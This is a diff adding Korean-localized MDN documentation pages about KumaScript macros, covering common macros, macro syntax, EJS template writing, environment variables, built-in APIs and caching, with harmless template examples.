+<p>거의 모든 대규모 페이지 컬렉션 용 템플릿이 있습니다. 보통은 참고서/안내서(guide)/지도서(tutorial)의 메인 페이지로 다시 링크하고 (이동 경로 표시(breadcrumb)가 때때로 이를 수행할 수 없기에 종종 필요함) 글을 적절한 항목(category)에 둡니다.</p>
+
+<ul>
+ <li>{{TemplateLink("CSSRef")}}는 CSS 참고서 페이지 용 사이드바를 생성합니다.</li>
+ <li>{{TemplateLink("HTMLRef")}}는 HTML 참고서 페이지 용 사이드바를 생성합니다.</li>
+ <li>{{TemplateLink("APIRef")}}는 Web API 참고서 페이지 용 사이드바를 생성합니다.</li>
+</ul>
+
+<h2 id="범용_형식">범용 형식</h2>
+
+<h3 id="API_문서용_인라인_지시자indicator">API 문서용 인라인 지시자(indicator)</h3>
+
+<p>{{TemplateLink("optional_inline")}} 및 {{TemplateLink("ReadOnlyInline")}}은 API 문서에서 보통 객체의 속성 목록 또는 함수의 매개변수를 기술할 때 사용됩니다.</p>
+
+<p>용법: <code>\{{optional_inline()}}</code> 또는 <code>\{{ReadOnlyInline()}}</code>. 예:</p>
+
+<dl>
+ <dt><code>isCustomObject</code> {{ReadOnlyInline()}}</dt>
+ <dd>(<code>true</code>)면, 사용자 정의 객체임을 나타냅니다.</dd>
+ <dt>parameterX {{ optional_inline() }}</dt>
+ <dd>어쩌고 저쩌고...</dd>
+</dl>
+
+<h2 id="상태_및_호환성_지시자">상태 및 호환성 지시자</h2>
+
+<h3 id="추가_매개변수가_없는_인라인_지시자">추가 매개변수가 없는 인라인 지시자</h3>
+
+<h4 id="비표준">비표준</h4>
+
+<p>{{TemplateLink("non-standard_inline")}}은 API가 표준화되지 않았고 표준 트랙에 없음을 나타내는 인라인 표시를 삽입합니다.</p>
+
+<h5 id="구문"><strong>구문</strong></h5>
+
+<p><code>\{{non-standard_inline}}</code></p>
+
+<h5 id="예">예</h5>
+
+<ul>
+ <li>아이콘: {{non-standard_inline}}</li>
+</ul>
+
+<h4 id="실험용">실험용</h4>
+
+<p>{{TemplateLink("experimental_inline")}}은 API가 널리 구현되지 않고 앞으로 변경될 수 있음을 나타내는 인라인 표시를 삽입합니다.</p>
+
+<h5 id="구문_2">구문</h5>
+
+<p><code>\{{experimental_inline}}</code></p>
+
+<h5 id="예_2"><code>예</code></h5>
+
+<ul>
+ <li>아이콘: {{experimental_inline}}</li>
+</ul>
+
+<h3 id="기술_지정을_지원하는_인라인_지시자">기술 지정을 지원하는 인라인 지시자</h3>
+
+<p>이 매크로에서 매개변수(지정된 경우)는 버전 번호가 뒤따르는 문자열 "html", "js", "css" 또는 "gecko" 중 하나여야 합니다.</p>
+
+<h4 id="Deprecated">Deprecated</h4>
+
+<p>{{TemplateLink("deprecated_inline")}}은 공식으로 사라질 API의 사용을 삼가도록 인라인 사라질(deprecated) 표시를 삽입합니다. <strong>주의:</strong> "사라질"은 더 이상 사용되지 않지만 여전히 기능함을 뜻합니다. 전혀 작동하지 않음을 뜻하는 경우, 용어 "안 씀(obsolete)"을 쓰세요.</p>
+
+<p>모든 브라우저에 쓰일 수 있는 영역(HTML, API, JS, CSS, …)에는 매개변수를 사용하지 마세요.</p>
+
+<h5 id="구문_3">구문</h5>
+
+<p><code>\{{deprecated_inline}}</code> 또는 <code>\{{deprecated_inline("gecko5")}}</code></p>
+
+<h5 id="예_3">예</h5>
+
+<ul>
+ <li>아이콘: {{deprecated_inline}}</li>
+ <li>배지: {{deprecated_inline("gecko5")}}</li>
+</ul>
+
+<h4 id="Obsolete">Obsolete</h4>
+
+<p>{{TemplateLink("obsolete_inline")}}은 공식으로 안 쓰는(obsolete) 예를 들어 함수, 메서드 또는 속성이 사용을 막기 위해 인라인 안 씀 표시를 삽입합니다.</p>
+
+<p>모든 브라우저에 쓰일 수 있는 영역(HTML, API, JS, CSS, …)에는 매개변수를 사용하지 마세요.</p>
+
+<h5 id="구문_4">구문</h5>
+
+<p><code>\{{obsolete_inline}}</code> 또는 <code>\{{obsolete_inline("js1.8.5")}}</code></p>
+
+<h5 id="예_4">예</h5>
+
+<ul>
+ <li>아이콘: {{obsolete_inline}}</li>
+ <li>배지: {{obsolete_inline("js1.8.5")}}</li>
+</ul>
+
+<h3 id="템플릿_배지">템플릿 배지</h3>
+
+<p>이 매크로는 대부분 <a href="/ko/docs/WebAPI">WebAPI</a> 페이지에 사용됩니다. 새 배지 생성 정보는 {{anch("Creating new badges")}} 참조.</p>
+
+<h3 id="페이지_또는_절_표제_지시자">페이지 또는 절 표제 지시자</h3>
+
+<p>이 템플릿들은 위에 설명한 자신의 인라인 짝(counterpart)과 같은 의미(semantics)를 갖습니다. 템플릿은 참고 페이지 내 메인 페이지 제목 (또는 가능한 경우 이동 경로 표시(breadcrumb) 내비게이션) 바로 아래에 놓여야 합니다. 페이지 상 절(section)에 표시하는데 사용될 수도 있습니다.</p>
+
+<ul>
+ <li>{{TemplateLink("non-standard_header")}}: <code>\{{Non-standard_header()}}</code> {{ Non-standard_header() }}</li>
+ <li>{{TemplateLink("SeeCompatTable")}}은 "브라우저 호환성" 절을 제공하는 페이지에 사용되어야 합니다. 예: <code>\{{SeeCompatTable()}}</code> {{ SeeCompatTable() }}</li>
+ <li>{{TemplateLink("deprecated_header")}}: <code>\{{deprecated_header()}}</code> {{ Deprecated_header() }}</li>
+ <li>매개변수 있는 {{TemplateLink("deprecated_header")}}: <code>\{{deprecated_header("gecko5")}}</code> {{ Deprecated_header("gecko5") }} 모든 브라우저에 쓰일 수 있는 영역(HTML, APIs, JS, CSS, …)에는 매개변수를 사용하지 마세요.</li>
+ <li>{{TemplateLink("obsolete_header")}}: <code>\{{obsolete_header()}}</code> {{ Obsolete_header() }}</li>
+ <li>매개변수 있는 {{TemplateLink("obsolete_header")}}: <code>\{{obsolete_header("gecko30")}}</code> {{ Obsolete_header("gecko30") }} 모든 브라우저에 쓰일 수 있는 영역(HTML, APIs, JS, CSS, …)에는 매개변수를 사용하지 마세요.</li>
+</ul>
+
+<h3 id="기능을_웹_워커에서_이용가능한_지_나타내기">기능을 웹 워커에서 이용가능한 지 나타내기</h3>
+
+<p>{{TemplateLink("AvailableInWorkers")}} 매크로 기능이 <a href="/ko/docs/Web/API/Web_Workers_API">웹 워커</a> 컨텍스트에서 이용 가능한지를 나타내는 지역화된 메모 상자를 삽입합니다.</p>
+
+<h2 id="버전_정보_매크로">버전 정보 매크로</h2>
+
+<p>이 매크로는 콘텐츠가 특정 버전의 제품에만 해당됨을 나타내기 위해 사용됩니다.</p>
+
+<ul>
+ <li>{{TemplateLink("gecko_minversion_inline")}}: 가령: {{ gecko_minversion_inline("9.9") }}</li>
+ <li>{{TemplateLink("fx_minversion_inline")}}: 가령: {{ fx_minversion_inline("9.9") }}</li>
+</ul>
+
+<ol>
+</ol>
+
+<p> </p>
+
+<ol>
+</ol>
+
+<p> </p>
diff --git a/files/ko/mdn/structures/macros/index.html b/files/ko/mdn/structures/macros/index.html
new file mode 100644
index 0000000000..3e27b26b8a
--- /dev/null
+++ b/files/ko/mdn/structures/macros/index.html
@@ -0,0 +1,46 @@
+---
+title: 매크로
+slug: MDN/Structures/Macros
+tags:
+  - Guide
+  - Kuma
+  - KumaScript
+  - MDN Meta
+  - Structures
+translation_of: MDN/Structures/Macros
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">MDN이 돌아가는 <a href="/ko/docs/MDN/Kuma" title="/ko/docs/MDN/Kuma">Kuma</a> 플랫폼은 매우 다양한 것들을 자동으로 수행할 수 있게 하는 강력한 매크로 시스템인, <a href="/ko/docs/MDN/Contribute/Tools/KumaScript" title="KumaScript guide">KumaScript</a>를 제공합니다. 이 글은 글 내에서 MDN의 매크로를 호출하는 법에 관한 정보를 제공합니다.</span></p>
+
+<p><a href="/ko/docs/MDN/Contribute/Tools/KumaScript" title="KumaScript guide">KumaScript 안내서</a>는 상세히 고찰한 MDN 상의 매크로 사용법을 제공합니다. 따라서 이 절은 더 짧은 개요입니다.</p>
+
+<h2 id="매크로가_구현되는_법">매크로가 구현되는 법</h2>
+
+<p>MDN의 매크로는 서버에서 실행되는 <a href="/ko/docs/Web/JavaScript">JavaScript</a> 코드로 구현되고, <a href="http://nodejs.org/" title="http://nodejs.org/">Node.js</a>를 사용하여 해석됩니다. 그 위에 우리가 구현한 위키 중심 서비스 및 매크로를 위키 플랫폼 및 그 콘텐츠와 상호 작용하게 하는 기능을 제공하는 많은 라이브러리가 있습니다. 더 배우고 싶다면, <a href="/ko/docs/MDN/Contribute/Tools/KumaScript" title="KumaScript guide">KumaScript 안내서</a>를 참조하세요.</p>
+
+<h2 id="콘텐츠에_매크로_사용하기">콘텐츠에 매크로 사용하기</h2>
+
+<p>실제로 매크로를 사용하려면, 괄호로 싸인 매개변수(가 있다면)와 함께 매크로 호출을 그저 중괄호 두 쌍으로 두르세요. 즉 다음과 같이:</p>
+
+<pre class="notranslate">\{{macroname(parameter-list)}}</pre>
+
+<p>매크로 호출에 관한 몇 가지 주의사항:</p>
+
+<ul>
+ <li>매크로 명은 대소문자를 구분하지만 일부는 흔한 대문자화(capitalization) 오류를 고치기 위해 만든 시도입니다. 따라서 매크로 명은 이름 내에 대문자를 사용할지라도 모두 소문자로 쓸 수 있고 보통 소문자로 시작하는 매크로 명을 대문자로 시작할 수 있습니다.</li>
+ <li>매개변수는 쉼표로 구분됩니다.</li>
+ <li>매개변수가 없다면, 괄호를 전부 뺄 수 있습니다. 즉 <code>\{{macroname()}}</code> 및 <code>\{{macroname}}</code>은 동일합니다.</li>
+ <li>숫자 매개변수는 따옴표로 묶거나 묶지 않을 수 있습니다. 알아서 하세요(그러나, 그 안에 여러 소수가 있는 버전 번호라면 따옴표로 묶어야 합니다).</li>
+ <li>오류가 생기면, 코드를 신중히 검토하세요. 무슨 일인지 여전히 파악할 수 없다면, 도움을 받기 위해 <a href="/ko/docs/MDN/Kuma/Troubleshooting_KumaScript_errors" title="Troubleshooting KumaScript errors">KumaScript 오류 해결</a>을 참조하세요.</li>
+</ul>
+
+<p>매크로는 다량(heavily) 캐쉬됩니다; 어떠한 일련의 입력 값(매개변수 및 매크로가 실행되었을 URL과 같은 환경 값 모두)에 대해, 그 결과는 저장되고 재사용됩니다. 이는 매크로가 사실 매크로 입력이 바뀔 때만 실행됨을 뜻합니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 페이지의 모든 매크로를 브라우저에서 페이지 강제 새로 고침(즉, shift-새로 고침)하여 재평가되게 강제할 수 있습니다.</p>
+</div>
+
+<p>매크로는 더 큰 텍스트 블록 단순 삽입 또는 MDN의 다른 부분에서 콘텐츠를 교환하는 것처럼 간단하거나, 사이트의 일부를 검색하여 콘텐츠의 전체 색인 구축, 출력 스타일링 및 링크 추가처럼 복잡할 수 있습니다.</p>
+
+<p><a href="/ko/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros" title="Commonly-used macros">흔히 쓰는 매크로</a> 페이지에서 가장 흔히 쓰는 매크로에 관하여 읽을 수 있습니다; 또한, 여기에 <a href="https://developer.mozilla.org/ko/docs/templates">모든 매크로 전체 목록</a>도 있습니다. 매크로 대부분은 상단에 주석으로 내장된 문서가 있습니다.</p>
+
+<p>{{EditorGuideQuicklinks}}</p>
diff --git a/files/ko/mdn/tools/index.html b/files/ko/mdn/tools/index.html
new file mode 100644
index 0000000000..a890d6f76c
--- /dev/null
+++ b/files/ko/mdn/tools/index.html
@@ -0,0 +1,16 @@
+---
+title: MDN 도구들
+slug: MDN/Tools
+tags:
+  - MDN 메타
+  - TopicStub
+  - 시작하기
+translation_of: MDN/Tools
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>MDN은 진행 상황을 추적하고 콘텐츠를 관리하며 사이트의 최신 변경 사항을 따라하기 쉽게 해주는 많은 기능을 제공합니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/mdn/tools/kumascript/index.html b/files/ko/mdn/tools/kumascript/index.html
new file mode 100644
index 0000000000..329f2b3762
--- /dev/null
+++ b/files/ko/mdn/tools/kumascript/index.html
@@ -0,0 +1,472 @@
+---
+title: KumaScript
+slug: MDN/Tools/KumaScript
+tags:
+  - Guide
+  - Kuma
+  - KumaScript
+  - MDN Meta
+  - NeedsContent
+  - NeedsTranslation
+  - Site-wide
+  - TopicStub
+translation_of: MDN/Tools/KumaScript
+---
+<div>{{MDNSidebar}}</div>
+
+<p><span class="seoSummary">On the <a href="/en-US/docs/MDN/Kuma">Kuma</a> platform that powers MDN, the template system for automating aspects of content on the wiki is called <a class="link-https" href="https://github.com/mdn/kumascript">KumaScript</a>. KumaScript is powered by server-side JavaScript, implemented using <a class="external" href="https://nodejs.org/en/">Node.js</a>.</span> This article provides basic information on how to use KumaScript.</p>
+
+<p>For a detailed overview and Q&amp;A of KumaScript, watch the MDN dev team's <a href="https://vreplay.mozilla.com/replay/showRecordDetails.html?sortBy=date&amp;viewCount=1&amp;currentPage=1&amp;groupBy=combo&amp;roomFilter=&amp;usernameFilter=&amp;searchFilter=&amp;usernameFullFilter=&amp;myManager=-1&amp;adminManager=0&amp;webCast=0&amp;command=&amp;recId=1082&amp;auxMessage=&amp;auxMessage1=&amp;lang=en&amp;langChanged=&amp;tenantFilter=&amp;securityTab=">KumaScript Fireside Chat</a> (the meeting starts at 10 minutes into the video). KumaScript replaced DekiScript, which was the template language for MindTouch, the previous platform used by MDN.</p>
+
+<h3 id="What_is_KumaScript">What is KumaScript?</h3>
+
+<ul>
+ <li>A way to reuse and localize content that appears repeatedly between documents (e.g., compatibility labels, section navigation, warning banners).</li>
+ <li>A way to build documents out of content pulled from other documents.</li>
+ <li>A way to fetch and include content from other web sites and services (e.g., Bugzilla).</li>
+</ul>
+
+<h3 id="What_KumaScript_is_not">What KumaScript is not</h3>
+
+<ul>
+ <li>KumaScript does not support interactive scripting of the kind that can accept form submissions.</li>
+ <li>KumaScript does not have access to a database, files, or any other way to store information persistently.</li>
+ <li>KumaScript does not support site personalization based on the user currently logged in.</li>
+ <li>KumaScript does not have access to user information, only to the content and metadata of a wiki page being viewed.</li>
+</ul>
+
+<h2 id="Basics">Basics</h2>
+
+<p>KumaScript is used on MDN in <a href="https://github.com/mde/ejs">embedded JavaScript templates</a>. These templates can be invoked in document content by any MDN author, through the use of macros.</p>
+
+<p>A script in KumaScript is a <em>template</em>, and each template is a file in <a href="https://github.com/mdn/kumascript/tree/master/macros">the macros directory of the KumaScript repository</a> on Github. A template looks like this:</p>
+
+<pre class="brush: js no-line-numbers notranslate">&lt;% for (var i = 0; i &lt; $0; i++) { %&gt;
+  Hello #&lt;%= i %&gt;
+&lt;% } %&gt;</pre>
+
+<p>Invoking a template is done with a <em>macro</em>, which can be used anywhere in any wiki content. A macro looks like this:</p>
+
+<pre class="brush: none no-line-numbers notranslate">\{{hello(3)}}</pre>
+
+<p>The output of the macro looks like this:</p>
+
+<pre class="brush: html no-line-numbers notranslate">Hello #0
+Hello #1
+Hello #2</pre>
+
+<h3 id="Macro_syntax">Macro syntax</h3>
+
+<p>KumaScript templates are invoked in document content with macros, like this:</p>
+
+<pre class="brush: none no-line-numbers notranslate">\{{templateName("arg0", "arg1", ..., "argN")}}</pre>
+
+<p>Macro syntax consists of these rules:</p>
+
+<ul>
+ <li>Macros start and end with <code>\{{</code> and <code>\}}</code> characters.</li>
+ <li>The first part of the macro is the name of a template. The lowercase value of this name should match the lowercase value of one of the filenames under <a href="https://github.com/mdn/kumascript/tree/master/macros">the macros directory of KumaScript</a>.</li>
+ <li>A template can accept parameters, and this parameter list starts and ends with parentheses.</li>
+ <li>All non-numeric parameters must be in quotes. Numbers can be left unquoted.</li>
+</ul>
+
+<h4 id="Using_JSON_as_a_macro_parameter">Using JSON as a macro parameter</h4>
+
+<p>As a semi-experimental feature (not guaranteed to work), you can supply a JSON object for the first and only parameter, like so:</p>
+
+<pre class="brush: none no-line-numbers notranslate">\{{templateName(<code class="language-json">{ "Alpha": "one", "Beta": ["a", "b", "c"], "Foo": "https:\/\/mozilla.org\/" }</code>)}}</pre>
+
+<p>The data from this macro is available in template code as an object in the <code class="language-javascript">$0</code> argument (e.g., <code>$0.Alpha</code>, <code>$0.Beta</code>, <code>$0.Foo</code>). This also allows you to express complex data structures in macro parameters that are hard or impossible to do with a simple list of parameters.</p>
+
+<p>Note that this parameter style is very picky — it must adhere to <a href="https://json.org/">JSON syntax</a> exactly, which has some requirements about escaping characters that are easy to miss (e.g., all forward slashes are escaped). When in doubt, <a href="https://jsonlint.com/">try running your JSON through a validator</a>.</p>
+
+<h4 id="How_to_write_in_text">How to write "\{{" in text</h4>
+
+<p>Since the character sequence "<code>\{{</code>" is used to indicate the start of a macro, this can be troublesome if you actually just want to use "<code>\{{</code>" and "<code>}}</code>" in a page. It will probably produce <code>DocumentParsingError</code> messages.</p>
+
+<p>In this case, you can escape the first brace with a backslash, like so: <code>\\{{</code></p>
+
+<h3 id="Template_syntax">Template syntax</h3>
+
+<p>Each KumaScript template is a file under <a href="https://github.com/mdn/kumascript/tree/master/macros">the macros directory of KumaScript</a>. You create and edit these files as you would the files of any open-source project on GitHub (see <a href="https://github.com/mdn/kumascript">the KumaScript README</a> for more information).</p>
+
+<p>KumaScript templates are processed by an <a href="https://ejs.co">embedded JavaScript template engine</a> with a few simple rules:</p>
+
+<ul>
+ <li>Within a template, the parameters passed in from the macro are available as the variables <code>$0</code>, <code>$1</code>, <code>$2</code>, and so on. The entire list of parameters is also available in a template as the variable <code>arguments</code>.</li>
+ <li>Most text is treated as output and included in the output stream.</li>
+ <li>JavaScript variables and expressions can be inserted into the output stream with these blocks:
+  <ul>
+   <li><code class="language-ejs">&lt;%= expr %&gt;</code> — the value of a JavaScript expression is escaped for HTML before being included in output (e.g., characters like <code>&lt;</code> and <code>&gt;</code> are turned into <code>&amp;lt;</code> and <code>&amp;gt;</code>).</li>
+   <li><code class="language-ejs">&lt;%- expr %&gt;</code> — the value of a JavaScript expression is included in output without any escaping. (Use this if you want to dynamically build markup or use the results of another template that may include markup.)</li>
+   <li>It is an error to include semicolons inside these blocks.</li>
+  </ul>
+ </li>
+ <li>Anything inside a <code class="language-ejs">&lt;% %&gt;</code> block is interpreted as JavaScript. This can include loops, conditionals, etc.</li>
+ <li>Nothing inside a <code class="language-ejs">&lt;% %&gt;</code> block can ever contribute to the output stream. But, you can transition from JS mode to output mode using <code>&lt;% %&gt;</code>—for example:
+  <pre class="brush: js notranslate">&lt;% for (var i = 0; i &lt; $0; i++) { %&gt;
+  Hello #&lt;%= i %&gt;
+&lt;% } %&gt;</pre>
+
+  <p>Note how the JavaScript code is contained in <code class="language-ejs">&lt;% ... %&gt;</code>, and output happens in the space between <code class="language-ejs">%&gt; ... &lt;%</code>. The <code>for</code> loop in JS can begin with one <code class="language-ejs">&lt;% %&gt;</code> block, transition to output mode, and finish up in a second <code class="language-ejs">&lt;% %&gt;</code> JS block.</p>
+ </li>
+ <li>For more details on EJS syntax, <a href="https://ejs.co">check out the upstream module documentation</a>.</li>
+</ul>
+
+<h3 id="Tips">Tips</h3>
+
+<p>You can see a list of macros and how they are used on MDN on the <a href="/en-US/dashboards/macros">macros dashboard</a>.</p>
+
+<h2 id="Advanced_Features">Advanced Features</h2>
+
+<p>Beyond the basics, the KumaScript system offers some advanced features.</p>
+
+<h3 id="Environment_variables">Environment variables</h3>
+
+<p>When the wiki makes a call to the KumaScript service, it passes along some context on the current document that KumaScript makes available to templates as variables:</p>
+
+<dl>
+ <dt><code>env.path</code></dt>
+ <dd>The path to the current wiki document</dd>
+ <dt><code>env.url</code></dt>
+ <dd>The full URL to the current wiki document</dd>
+ <dt><code>env.id</code></dt>
+ <dd>A short, unique ID for the current wiki document</dd>
+ <dt><code>env.files</code></dt>
+ <dd>An array of the files attached to the current wiki document; each object in the array is as described under {{ anch("File objects") }} below</dd>
+ <dt><code>env.review_tags</code></dt>
+ <dd>An array of the review tags on the article ("technical", "editorial", etc.)</dd>
+ <dt><code>env.locale</code></dt>
+ <dd>The locale of the current wiki document</dd>
+ <dt><code>env.title</code></dt>
+ <dd>The title of the current wiki document</dd>
+ <dt><code>env.slug</code></dt>
+ <dd>The URL slug of the current wiki document</dd>
+ <dt><code>env.tags</code></dt>
+ <dd>An array list of tag names for the current wiki document</dd>
+ <dt><code>env.modified</code></dt>
+ <dd>Last modified timestamp for the current wiki document</dd>
+ <dt><code>env.cache_control</code></dt>
+ <dd><code>Cache-Control</code> header sent in the request for the current wiki document, useful in deciding whether to invalidate caches</dd>
+</dl>
+
+<h4 id="File_objects">File objects</h4>
+
+<p>Each file object has the following fields:</p>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>The attachment's title</dd>
+ <dt><code>description</code></dt>
+ <dd>A textual description of the current revision of the file</dd>
+ <dt><code>filename</code></dt>
+ <dd>The file's name</dd>
+ <dt><code>size</code></dt>
+ <dd>The size of the file in bytes</dd>
+ <dt><code>author</code></dt>
+ <dd>The username of the person who uploaded the file</dd>
+ <dt><code>mime</code></dt>
+ <dd>The MIME type of the file</dd>
+ <dt><code>url</code></dt>
+ <dd>The URL at which the file can be found</dd>
+</dl>
+
+<h4 id="Working_with_tag_lists">Working with tag lists</h4>
+
+<p>The <code>env.tags</code> and <code>env.review_tags</code> variables return arrays of tags. You can work with these in many ways, of course, but here are a couple of suggestions.</p>
+
+<h5 id="Looking_to_see_if_a_specific_tag_is_set">Looking to see if a specific tag is set</h5>
+
+<p>You can look to see if a specific tag exists on a page like this:</p>
+
+<pre class="brush: js notranslate">if (env.tags.indexOf("tag") != −1) {
+  // The page has the tag "tag"
+}
+</pre>
+
+<h5 id="Iterating_over_all_the_tags_on_a_page">Iterating over all the tags on a page</h5>
+
+<p>You can also iterate over all the tags on a page, like this:</p>
+
+<pre class="brush: js notranslate">env.tag.forEach(function(tag) {
+  // do whatever you need to do, such as:
+  if (tag.indexOf("a") == 0) {
+    // this tag starts with "a" - woohoo!
+  }
+});</pre>
+
+<h3 id="APIs_and_Modules">APIs and Modules</h3>
+
+<p>KumaScript offers some built-in methods and APIs for KumaScript macros. Macros can also use <code>module.exports</code> to export new API methods.</p>
+
+<p>API changes require updating the KumaScript engine or macros via a pull request to the <a href="https://github.com/mdn/kumascript">KumaScript repository</a>.</p>
+
+<h4 id="Built-in_methods">Built-in methods</h4>
+
+<p>This manually-maintained documentation is likely to fall out of date with the code. With that in mind, <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/lib/kumascript/api.js#L175" title="https://github.com/mdn/kumascript/blob/master/lib/kumascript/api.js#L208">you can always check out the latest state of built-in APIs in the KumaScript source</a>. But here is a selection of useful methods exposed to templates:</p>
+
+<dl>
+ <dt><code class="language-javascript">md5(string)</code></dt>
+ <dd>Returns an MD5 hex digest of the given string.</dd>
+ <dt><code class="language-javascript">template("name", ["arg0", "arg1", ..., "argN"])</code></dt>
+ <dd>
+ <p>Executes and returns the result of the named template with the given list of parameters.</p>
+
+ <p>Example: <code class="language-javascript">&lt;%- template("warning", ["foo", "bar", "baz"]) %&gt;</code>.</p>
+
+ <p>Example using the <code>DOMxRef</code> macro: <code class="language-javascript">&lt;%- template("DOMxRef", ["Event.bubbles", "bubbles"]) %&gt;</code>.</p>
+
+ <p>This is a JavaScript function. So, if one of the parameters is an arg variable like $2, do not put it in quotes. Like this: <code class="language-javascript">&lt;%- template("warning", [$1, $2, "baz"]) %&gt;</code>. If you need to call another template from within a block of code, do not use <code>&lt;%</code> ... <code>%&gt;</code>. Example: <code class="language-javascript">myvar = "&lt;li&gt;" + template("LXRSearch", ["ident", "i", $1]) + "&lt;/li&gt;";</code></p>
+ </dd>
+ <dt><code class="language-javascript">require(name)</code></dt>
+ <dd>Loads another template as a module; any output is ignored. Anything assigned to <code class="language-javascript">module.exports</code> in the template is returned.</dd>
+ <dd>Used in templates like so: <code class="language-javascript">&lt;% const my_module = require('MyModule'); %&gt;</code>.</dd>
+ <dt><code class="language-javascript">cacheFn(key, timeout, function_to_cache)</code></dt>
+ <dd>Using the given key and cache entry lifetime, cache the results of the given function. Honors the value of <code>env.cache_control</code> to invalidate cache on <code>no-cache</code>, which can be sent by a logged-in user hitting shift-refresh.</dd>
+ <dt><code class="language-javascript">request</code></dt>
+ <dd>Access to <a class="link-https" href="https://github.com/mikeal/request" title="https://github.com/mikeal/request"><code>mikeal/request</code></a>, a library for making HTTP requests. Using this module in KumaScript templates is not yet very friendly, so you may want to wrap usage in module APIs that simplify things.</dd>
+ <dt><code class="language-javascript">log.debug(string)</code></dt>
+ <dd>Outputs a debug message into the script log on the page (i.e. the big red box that usually displays errors).</dd>
+</dl>
+
+<h4 id="Built-in_API_modules">Built-in API modules</h4>
+
+<p>There are a set of built in API that are automatically loaded and made available to every template by the environment script.</p>
+
+<p>For the most part, these attempt to provide stand-ins for legacy DekiScript features to ease template migration. But, going forward, these can be used to share common variables and methods between templates:</p>
+
+<ul>
+ <li><code>kuma.*</code> - <a href="https://github.com/mdn/kumascript/blob/master/src/api/kuma.js">Kuma</a></li>
+ <li><code>MDN.*</code> - <a href="https://github.com/mdn/kumascript/blob/master/src/api/mdn.js">MDN:Common</a></li>
+ <li><code>page.*</code> - <a href="https://github.com/mdn/kumascript/blob/master/src/api/page.js">DekiScript:Page</a></li>
+ <li><code>string.*</code> - <a href="https://github.com/mdn/kumascript/blob/master/src/api/string.js">DekiScript:String</a></li>
+ <li><code>uri.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/src/api/uri.js">DekiScript:Uri</a></li>
+ <li><code>web.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/src/api/web.js">DekiScript:Web</a></li>
+ <li><code>wiki.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/src/api/wiki.js">DekiScript:Wiki</a></li>
+</ul>
+
+<p>You can see the most up to date list of methods under <code>kuma</code> from <a href="https://github.com/mdn/kumascript/blob/master/src/api/kuma.js">the KumaScript source code</a>, but here are a few:</p>
+
+<dl>
+ <dt><code class="language-javascript">kuma.inspect(object)</code></dt>
+ <dd>Renders any JS object as a string, handy for use with <code>log.debug()</code>. See also: <a href="https://nodejs.org/api/util.html#util_util_inspect_object_options">node.js <code class="language-javascript">util.inspect()</code></a>.</dd>
+ <dt><code class="language-javascript">kuma.htmlEscape(string)</code></dt>
+ <dd>Escapes the characters <code>&amp;, &lt;, &gt;, "</code> to <code>&amp;amp, &amp;lt;, &amp;gt;, &amp;quot;</code>, respectively.</dd>
+ <dt><code class="language-javascript">kuma.url</code></dt>
+ <dd>See also: <a href="http://nodejs.org/api/url.html">node.js <code>url</code> module</a>.</dd>
+ <dt><code class="language-javascript">kuma.fetchFeed(url)</code></dt>
+ <dd>Fetch an RSS feed and parse it into a JS object. See also: <a href="https://github.com/mdn/kumascript/blob/master/macros/InsertFeedLinkList.ejs"><code>InsertFeedLinkList</code></a></dd>
+</dl>
+
+<h4 id="Creating_modules">Creating modules</h4>
+
+<p>Using the built-in <code>require()</code> method, you can load a template as a module to share common variables and methods between templates. A module can be defined in a template like this:</p>
+
+<pre class="brush: js notranslate">&lt;%
+module.exports = {
+    add: function (a, b) {
+        return a + b;
+    }
+}
+%&gt;</pre>
+
+<p>Assuming this template is saved under <a href="https://github.com/mdn/kumascript/tree/master/macros">https://github.com/mdn/kumascript/tree/master/macros</a> as <code>MathLib.ejs</code>, you can use it in another template like so:</p>
+
+<pre class="brush: js notranslate">&lt;%
+var math_lib = require("MathLib");
+%&gt;
+The result of 2 + 2 = &lt;%= math_lib.add(2, 2) %&gt;</pre>
+
+<p>And, the output of this template will be:</p>
+
+<pre class="brush: html no-line-numbers notranslate">The result of 2 + 2 = 4</pre>
+
+<h2 id="Tips_and_caveats">Tips and caveats</h2>
+
+<h3 id="Debugging">Debugging</h3>
+
+<p>A useful tip when debugging. You can use the <code>log.debug()</code> method to output text to the scripting messages area at the top of the page that's running your template. Note that you need to be really sure to remove these when you're done debugging, as they're visible to all users! To use it, just do something like this:</p>
+
+<pre class="brush: js no-line-numbers notranslate">&lt;%- log.debug("Some text goes here"); %&gt;</pre>
+
+<p>You can, of course, create more complex output using script code if it's helpful.</p>
+
+<h3 id="Caching">Caching</h3>
+
+<p>KumaScript templates are heavily cached to improve performance. For the most part, this works great to serve up content that doesn't change very often. But, as a logged-in user, you have two options to force a page to be regenerated, in case you notice issues with scripting:</p>
+
+<ul>
+ <li>Hit Refresh in your browser. This causes KumaScript to invalidate its cache for the content on the current page by issuing a request with a <code>Cache-Control: max-age=0</code> header.</li>
+ <li>Hit Shift-Refresh in your browser. This causes KumaScript to invalidate cache for the current page, as well as for any templates or content used by the current page by issuing a request with a <code>Cache-Control: no-cache</code> header.</li>
+</ul>
+
+<h3 id="Using_search_keywords_to_open_template_pages">Using search keywords to open template pages</h3>
+
+<p>When using templates, it's common to open the template's code in a browser window to review the comments at the top, which are used to document the template, its parameters, and how to use it properly. To quickly access templates, you can create a Firefox <a href="http://kb.mozillazine.org/Using_keyword_searches">search keyword</a>, which gives you a shortcut you can type in the URL box to get to a template more easily.</p>
+
+<p>To create a search keyword, open the bookmarks window by choosing "Show all bookmarks" in the Bookmarks menu, or by pressing <kbd>Control+Shift+B</kbd> (<kbd>Command+Shift+B</kbd> on Mac). Then from the utility ("Gear") menu in the Library window that appears, choose "New Bookmark...".</p>
+
+<p>This causes the bookmark editing dialog to appear. Fill that out as follows:</p>
+
+<dl>
+ <dt>Name</dt>
+ <dd>A suitable name for your search keyword; "Open MDN Template" is a good one.</dd>
+ <dt>Location</dt>
+ <dd><code>https://github.com/mdn/kumascript/blob/master/macros/%s</code></dd>
+ <dt>Tags{{Optional_Inline}}</dt>
